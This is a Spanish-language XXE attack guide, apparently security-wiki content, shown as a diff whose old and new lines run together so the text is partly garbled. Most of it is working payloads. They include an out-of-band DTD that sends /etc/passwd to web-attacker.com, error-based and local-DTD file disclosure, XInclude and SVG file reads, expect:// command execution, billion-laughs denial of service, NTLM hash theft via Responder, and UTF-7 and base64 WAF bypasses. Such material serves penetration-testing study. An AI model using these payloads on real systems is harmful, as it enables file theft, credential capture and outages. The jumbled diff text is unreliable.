El atacante debe alojar el DTD malicioso en un sistema que controlen, normalmente cargándolo en su propio servidor web. Por ejemplo, el atacante podría servir el DTD malicioso en la siguiente URL:\ Luego, el atacante debe alojar el DTD malicioso en un sistema que controla, normalmente cargándolo en su propio servidor web. Por ejemplo, el atacante podría servir el DTD malicioso en la siguiente URL:\
`http://web-attacker.com/malicious.dtd` `http://web-attacker.com/malicious.dtd`
Finalmente, el atacante debe enviar la siguiente carga útil XXE a la aplicación vulnerable: Finalmente, el atacante debe enviar la siguiente carga útil XXE a la aplicación vulnerable:
@ -176,23 +155,25 @@ Finalmente, el atacante debe enviar la siguiente carga útil XXE a la aplicació
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
Este payload XXE declara una entidad de parámetro XML llamada `xxe` y luego utiliza la entidad dentro del DTD. Esto hará que el analizador XML obtenga el DTD externo del servidor del atacante e interprete en línea. Los pasos definidos dentro del DTD malicioso se ejecutarán y el archivo `/etc/passwd` se transmitirá al servidor del atacante.
### Basado en Errores (DTD Externo) ### Basado en Errores (DTD Externo)
**En este caso vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto es válido solo si puedes ver mensajes de error).** [**Ejemplo de aquí.**](https://portswigger.net/web-security/xxe/blind) **En este caso, haremos que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error).** [**Ejemplo aquí.**](https://portswigger.net/web-security/xxe/blind)
Puedes provocar un mensaje de error de análisis XML que contenga el contenido del archivo `/etc/passwd` utilizando un DTD externo malicioso de la siguiente manera: Puedes desencadenar un mensaje de error de análisis XML que contenga el contenido del archivo `/etc/passwd` utilizando un DTD externo malicioso de la siguiente manera:
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %eval;
%error; %error;
``` ```
Este DTD realiza los siguientes pasos: Este DTD lleva a cabo los siguientes pasos:
* Define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`. * Define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`.
* Define una entidad de parámetro XML llamada `eval`, que contiene una declaración dinámica de otra entidad de parámetro XML llamada `error`. La entidad `error` será evaluada cargando un archivo inexistente cuyo nombre contiene el valor de la entidad `file`. * Define una entidad de parámetro XML llamada `eval`, que contiene una declaración dinámica de otra entidad de parámetro XML llamada `error`. La entidad `error` será evaluada cargando un archivo inexistente cuyo nombre contiene el valor de la entidad `file`.
* Utiliza la entidad `eval`, lo que provoca que se realice la declaración dinámica de la entidad `error`. * Utiliza la entidad `eval`, lo que provoca que se realice la declaración dinámica de la entidad `error`.
* Utiliza la entidad `error`, de modo que su valor se evalúa al intentar cargar el archivo inexistente, resultando en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido del archivo `/etc/passwd`. * Utiliza la entidad `error`, de modo que su valor se evalúa intentando cargar el archivo inexistente, lo que resulta en un mensaje de error que contiene el nombre del archivo inexistente, que es el contenido del archivo `/etc/passwd`.
Invoca el error de DTD externo con: Invoca el error de DTD externo con:
```markup ```markup
@ -204,34 +185,34 @@ Y deberías ver el contenido del archivo dentro del mensaje de error de la respu
![](<../.gitbook/assets/image (223) (1).png>) ![](<../.gitbook/assets/image (223) (1).png>)
_**Por favor, ten en cuenta que el DTD externo nos permite incluir una entidad dentro de la segunda (****`eval`****), pero está prohibido en el DTD interno. Por lo tanto, no puedes forzar un error sin usar un DTD externo (generalmente).**_ _**Por favor, ten en cuenta que la DTD externa nos permite incluir una entidad dentro de la segunda (****`eval`****), pero está prohibido en la DTD interna. Por lo tanto, no puedes forzar un error sin usar una DTD externa (generalmente).**_
### **Error Basado (DTD del sistema)** ### **Basado en Errores (DTD del sistema)**
Entonces, ¿qué pasa con las vulnerabilidades XXE ciegas cuando **las interacciones fuera de banda están bloqueadas** (no están disponibles las conexiones externas)?. [Información de aquí](https://portswigger.net/web-security/xxe/blind). Entonces, ¿qué pasa con las vulnerabilidades ciegas de XXE cuando las **interacciones fuera de banda están bloqueadas** (las conexiones externas no están disponibles)?.
En esta situación, aún podría ser posible **provocar mensajes de error que contengan datos sensibles**, debido a una laguna en la especificación del lenguaje XML. Si el **DTD de un documento utiliza una combinación de declaraciones DTD internas y externas**, entonces el **DTD interno puede redefinir entidades que están declaradas en el DTD externo**. Cuando esto sucede, se relaja la restricción sobre el uso de una entidad de parámetro XML dentro de la definición de otra entidad de parámetro. Una laguna en la especificación del lenguaje XML puede **exponer datos sensibles a través de mensajes de error cuando la DTD de un documento combina declaraciones internas y externas**. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en una DTD externa, desde dentro de una DTD interna. Cuando las conexiones fuera de banda están bloqueadas por el servidor, los atacantes deben depender de archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.
Esto significa que un atacante puede emplear la técnica XXE basada en errores desde dentro de un DTD interno, siempre que la entidad de parámetro XML que utilicen esté **redefiniendo una entidad que está declarada dentro de un DTD externo**. Por supuesto, si las conexiones fuera de banda están bloqueadas, entonces el DTD externo no se puede cargar desde una ubicación remota. En su lugar, necesita ser un **archivo DTD externo que esté local en el servidor de la aplicación**. _Esencialmente, el ataque implica invocar un archivo DTD que existe en el sistema de archivos local y reutilizarlo para redefinir una entidad existente de manera que provoque un error de análisis que contenga datos sensibles._
Por ejemplo, supongamos que hay un archivo DTD en el sistema de archivos del servidor en la ubicación `/usr/local/app/schema.dtd`, y este archivo DTD define una entidad llamada `custom_entity`. Un atacante puede provocar un mensaje de error de análisis XML que contenga el contenido del archivo `/etc/passwd` enviando un DTD híbrido como el siguiente: Considera un escenario donde el sistema de archivos del servidor contiene un archivo DTD en `/usr/local/app/schema.dtd`, definiendo una entidad llamada `custom_entity`. Un atacante puede inducir un error de análisis XML revelando el contenido del archivo `/etc/passwd` al enviar una DTD híbrida de la siguiente manera:
```markup ```xml
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity ' <!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval; &#x25;eval;
&#x25;error; &#x25;error;
'> '>
%local_dtd; %local_dtd;
]> ]>
``` ```
Este DTD realiza los siguientes pasos: Los pasos delineados son ejecutados por esta DTD:
- La definición de una entidad de parámetro XML llamada `local_dtd` incluye el archivo DTD externo ubicado en el sistema de archivos del servidor.
- Ocurre una redefinición para la entidad de parámetro XML `custom_entity`, originalmente definida en el DTD externo, para encapsular un [exploit XXE basado en errores](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Esta redefinición está diseñada para provocar un error de análisis, exponiendo el contenido del archivo `/etc/passwd`.
- Al emplear la entidad `local_dtd`, se activa el DTD externo, abarcando la entidad `custom_entity` recién definida. Esta secuencia de acciones precipita la emisión del mensaje de error apuntado por el exploit.
* Define una entidad de parámetro XML llamada `local_dtd`, que contiene los contenidos del archivo DTD externo que existe en el sistema de archivos del servidor.
* Redefine la entidad de parámetro XML llamada `custom_entity`, que ya está definida en el archivo DTD externo. La entidad se redefine como que contiene el [exploit XXE basado en errores](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) que ya se describió, para desencadenar un mensaje de error que contiene los contenidos del archivo `/etc/passwd`.
* Utiliza la entidad `local_dtd`, de modo que el DTD externo se interpreta, incluyendo el valor redefinido de la entidad `custom_entity`. Esto resulta en el mensaje de error deseado.
**Ejemplo del mundo real:** Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en `/usr/share/yelp/dtd/docbookx.dtd` que contiene una entidad llamada `ISOamso`. **Ejemplo del mundo real:** Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en `/usr/share/yelp/dtd/docbookx.dtd` que contiene una entidad llamada `ISOamso`.
```markup ```markup
@ -250,20 +231,22 @@ Este DTD realiza los siguientes pasos:
``` ```
![](<../.gitbook/assets/image (224).png>) ![](<../.gitbook/assets/image (224).png>)
Como esta técnica utiliza un **DTD interno, primero necesitas encontrar uno válido**. Puedes hacer esto **instalando** el mismo **OS / Software** que utiliza el servidor y **buscando algunos DTDs predeterminados**, o **obteniendo una lista** de **DTDs predeterminados** dentro de los sistemas y **verificar** si alguno de ellos existe: Dado que esta técnica utiliza un **DTD interno, primero necesitas encontrar uno válido**. Puedes hacer esto **instalando** el mismo **SO / Software** que está utilizando el servidor y **buscando algunos DTD predeterminados**, o **obteniendo una lista** de **DTD predeterminados** dentro de los sistemas y **verificando** si alguno de ellos existe:
```markup ```markup
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd; %local_dtd;
]> ]>
``` ```
### Encontrando DTDs dentro del sistema Para obtener más información, consulta [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
En el siguiente impresionante repositorio de github puedes encontrar **rutas de DTDs que pueden estar presentes en el sistema**: ### Encontrar DTDs dentro del sistema
En el siguiente repositorio de GitHub increíble, puedes encontrar **rutas de DTDs que pueden estar presentes en el sistema**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Además, si tienes la **imagen Docker del sistema víctima**, puedes usar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme de github](https://github.com/GoSecure/dtd-finder) para aprender cómo. Además, si tienes la **imagen Docker del sistema víctima**, puedes utilizar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme del repositorio de GitHub](https://github.com/GoSecure/dtd-finder) para aprender cómo.
```bash ```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -275,24 +258,24 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : [] Testing 0 entities : []
``` ```
### XXE a través de analizadores Office Open XML ### XXE a través de Analizadores de Office Open XML
Para una explicación más detallada de este ataque, **consulta la segunda sección de [este increíble post](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) de Detectify**. Para obtener una explicación más detallada de este ataque, **consulte la segunda sección de [esta increíble publicación](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) de Detectify**.
La capacidad de **subir documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, las cuales proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos subiendo una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML. La capacidad de **cargar documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, las cuales luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos mediante la carga de una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil XXE**. El primer paso es crear un directorio vacío al cual se pueda descomprimir el documento. Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga un payload XXE**. El primer paso es crear un directorio vacío en el cual se pueda descomprimir el documento.
Una vez descomprimido el documento, se debe abrir y editar el archivo XML ubicado en `./unzipped/word/document.xml` con un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil XXE deseada, a menudo comenzando con una solicitud HTTP. Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir el payload XXE deseado, a menudo comenzando con una solicitud HTTP.
Las líneas XML modificadas deben insertarse entre los dos objetos raíz XML. Es importante reemplazar la URL con una URL monitoreable para las solicitudes. Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitoreable para las solicitudes.
Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando: Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando:
Ahora, el archivo creado puede ser subido a la aplicación web potencialmente vulnerable, y se puede esperar que aparezca una solicitud en los registros de Burp Collaborator. Ahora, el archivo creado puede ser cargado en la aplicación web potencialmente vulnerable, y se puede esperar que aparezca una solicitud en los registros de Burp Collaborator.
### Protocolo Jar: ### Protocolo Jar
El protocolo `jar` solo está disponible en **aplicaciones Java**. Permite acceder a archivos dentro de un archivo **PKZIP** (`.zip`, `.jar`, ...) y funciona para archivos locales y remotos: El protocolo `jar` solo está disponible en **aplicaciones Java**. Permite acceder a archivos dentro de un archivo **PKZIP** (`.zip`, `.jar`, ...) y funciona para archivos locales y remotos:
``` ```
@ -300,25 +283,25 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Ser capaz de acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd). Para poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %} {% endhint %}
#### Detrás de escena #### Detrás de escena
1. Realiza una solicitud HTTP para cargar el archivo zip. `https://download.host.com/myarchive.zip` 1. Realiza una solicitud HTTP para cargar el archivo zip. `https://download.host.com/myarchive.zip`
2. Guarda la respuesta HTTP en una ubicación temporal. `/tmp/...` 2. Guarda la respuesta HTTP en una ubicación temporal. `/tmp/...`
3. Extrae el contenido del archivo. 3. Extrae el archivo.
4. Lee el `file.zip` 4. Lee el `file.zip`
5. Elimina los archivos temporales. 5. Elimina los archivos temporales.
Nota que es posible detener el flujo en el segundo paso. El truco es nunca cerrar la conexión al servir el archivo. [Estas herramientas pueden ser útiles](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): una en python `slow_http_server.py` y otra en java `slowserver.jar`. Ten en cuenta que es posible detener el flujo en el segundo paso. El truco es nunca cerrar la conexión al servir el archivo. [Estas herramientas pueden ser útiles](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution): una en python `slow_http_server.py` y otra en java `slowserver.jar`.
Una vez que el servidor ha descargado tu archivo, necesitas encontrar su ubicación navegando por el directorio temporal. Siendo aleatorio, la ruta del archivo no se puede predecir de antemano. Una vez que el servidor haya descargado tu archivo, necesitas encontrar su ubicación navegando por el directorio temporal. Al ser aleatoria, la ruta del archivo no se puede predecir de antemano.
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png) ![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
{% hint style="danger" %} {% hint style="danger" %}
Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucre un recorrido de ruta** (como inclusión de archivo local, inyección de plantilla, XSLT RCE, deserialización, etc). Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulnerabilidad que involucre una travesía de directorio** (como inclusión de archivos locales, inyección de plantillas, XSLT RCE, deserialización, etc).
{% endhint %} {% endhint %}
### XSS ### XSS
@ -327,7 +310,7 @@ Escribir archivos en un directorio temporal puede ayudar a **escalar otra vulner
``` ```
### DoS ### DoS
#### Ataque del Billón de Risas #### Ataque de Mil Millones de Risas
```markup ```markup
<!DOCTYPE data [ <!DOCTYPE data [
<!ENTITY a0 "dos" > <!ENTITY a0 "dos" >
@ -350,13 +333,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
#### Ataque de Inflado Cuadrático #### Ataque de Explosión Cuadrática
![](<../.gitbook/assets/image (531).png>) ![](<../.gitbook/assets/image (531).png>)
#### Obtención de NTML #### Obteniendo NTML
En hosts Windows es posible obtener el hash NTML del usuario del servidor web configurando un manejador responder.py: En hosts de Windows es posible obtener el hash NTML del usuario del servidor web configurando un controlador responder.py:
``` ```
Responder.py -I eth0 -v Responder.py -I eth0 -v
``` ```
@ -366,43 +349,45 @@ y enviando la siguiente solicitud
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data> <data>&example;</data>
``` ```
Entonces puedes intentar descifrar el hash usando hashcat
## Superficies XXE Ocultas ## Superficies XXE Ocultas
### XInclude ### XInclude
[Desde aquí.](https://portswigger.net/web-security/xxe) En algunos escenarios, **los datos enviados por el cliente se incorporan en un documento XML mediante procesos en el lado del servidor antes de su análisis**. Esto suele ocurrir cuando los datos del cliente se integran en una **solicitud SOAP del backend**, que posteriormente es manejada por un servicio SOAP en el backend.
Algunas aplicaciones **reciben datos enviados por el cliente, los incrustan en el servidor en un documento XML y luego analizan el documento**. Un ejemplo de esto ocurre cuando los datos enviados por el cliente se colocan en una **solicitud SOAP de backend**, que luego es procesada por el servicio SOAP de backend. Realizar un ataque XXE tradicional resulta desafiante en estos casos debido al control limitado sobre la totalidad del documento XML, específicamente la incapacidad de modificar o introducir un elemento `DOCTYPE`. Sin embargo, aprovechar `XInclude`, una característica del estándar XML que permite ensamblar un documento XML a partir de subdocumentos más pequeños, presenta una solución alternativa. Este enfoque permite un ataque `XInclude` dentro de cualquier elemento de datos de un documento XML, haciéndolo factible en casos donde el control se restringe a una pieza individual de datos incrustada en un documento XML generado por el servidor.
En esta situación, no puedes llevar a cabo un ataque XXE clásico, porque **no controlas todo el documento XML** y por lo tanto no puedes definir o modificar un elemento `DOCTYPE`. Sin embargo, podrías ser capaz de usar `XInclude` en su lugar. `XInclude` es parte de la especificación XML que permite que un documento XML se construya a partir de subdocumentos. Puedes colocar un ataque `XInclude` dentro de cualquier valor de datos en un documento XML, por lo que el ataque se puede realizar en situaciones donde solo controlas un solo elemento de datos que se coloca en un documento XML del lado del servidor. Para iniciar un ataque `XInclude`, se requiere la inclusión del espacio de nombres `XInclude`, junto con la especificación de la ruta de archivo destinada para la inclusión. El siguiente ejemplo demuestra cómo podría estructurarse dicho ataque:
```xml
Para realizar un ataque `XInclude`, necesitas hacer referencia al espacio de nombres `XInclude` y proporcionar la ruta al archivo que deseas incluir. Por ejemplo:
```markup
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
``` ```
Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
### SVG - Carga de Archivos ### SVG - Carga de Archivos
[Desde aquí.](https://portswigger.net/web-security/xxe) Los archivos subidos por usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos comunes de archivos como documentos de oficina (DOCX) e imágenes (SVG) están basados en XML.
Algunas aplicaciones permiten a los usuarios cargar archivos que luego son procesados en el servidor. Algunos formatos de archivo comunes utilizan XML o contienen subcomponentes XML. Ejemplos de formatos basados en XML son los formatos de documentos de oficina como DOCX y formatos de imagen como SVG. Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas en el servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, **la biblioteca de procesamiento de imágenes del servidor también podría admitir imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades de XXE (Entidad Externa XML).
Por ejemplo, una aplicación podría permitir a los usuarios **cargar imágenes**, y procesar o validar estas en el servidor después de ser cargadas. Incluso si la aplicación espera recibir un formato como PNG o JPEG, la **biblioteca de procesamiento de imágenes que se está utilizando podría soportar imágenes SVG**. Dado que el formato SVG utiliza XML, un atacante puede enviar una imagen SVG maliciosa y así alcanzar superficies de ataque ocultas para vulnerabilidades XXE. A continuación se muestra un ejemplo de tal exploit, donde una imagen SVG maliciosa intenta leer archivos del sistema:
```markup ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
``` ```
También podrías intentar **ejecutar comandos** utilizando el "wrapper" de PHP "expect": Otro método implica intentar **ejecutar comandos** a través del envoltorio "expect" de PHP:
```markup ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
**Nota que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, necesitas poder acceder a la imagen que SVG ha creado.** En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, resaltando la necesidad de una sólida validación de entrada y medidas de seguridad.
### **PDF - Carga de archivo** ¡Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para obtener más información!
Lee el siguiente post para **aprender cómo explotar un XXE cargando un archivo PDF**: **Ten en cuenta que la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, debes poder acceder a la imagen que SVG ha creado.**
### **PDF - Subida de archivos**
Lee el siguiente post para **aprender cómo explotar un XXE subiendo un archivo PDF**:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -428,7 +413,7 @@ Content-Length: 52
``` ```
### Content-Type: De JSON a XEE ### Content-Type: De JSON a XEE
Para cambiar la solicitud podrías usar una extensión de Burp llamada “**Content Type Converter**“. [Aquí](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puedes encontrar este ejemplo: Para cambiar la solicitud, podrías usar una Extensión de Burp llamada "**Content Type Converter**". [Aquí](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puedes encontrar este ejemplo:
```markup ```markup
Content-Type: application/json;charset=UTF-8 Content-Type: application/json;charset=UTF-8
@ -458,7 +443,7 @@ Content-Type: application/xml;charset=UTF-8
``` ```
Otro ejemplo se puede encontrar [aquí](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). Otro ejemplo se puede encontrar [aquí](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF & Protecciones Bypasses ## Bypass de WAF y Protecciones
### Base64 ### Base64
```markup ```markup
@ -468,7 +453,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
### UTF-7 ### UTF-7
Puedes usar la \[**"Receta de Codificación**" de CyberChef aquí]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7. Puedes usar la \[**"Receta de codificación**" de CyberChef aquí](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) para transformar a UTF-7.
```markup ```markup
<!xml version="1.0" encoding="UTF-7"?--> <!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -480,16 +465,16 @@ Puedes usar la \[**"Receta de Codificación**" de CyberChef aquí]\(\[[https://g
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
``` ```
### Bypass del Protocolo file:/ ### Bypass de Protocolo de Archivo
Si la web utiliza PHP, en lugar de usar `file:/` puedes usar **php wrappers** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**. Si la web está utilizando PHP, en lugar de usar `file:/` puedes usar **envolturas de PHP** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
Si la web utiliza Java puedes revisar el [**protocolo jar:**](xxe-xee-xml-external-entity.md#jar-protocol). Si la web está utilizando Java, puedes verificar el [**protocolo jar**](xxe-xee-xml-external-entity.md#jar-protocol).
### Entidades HTML ### Entidades HTML
Truco de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ Truco de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
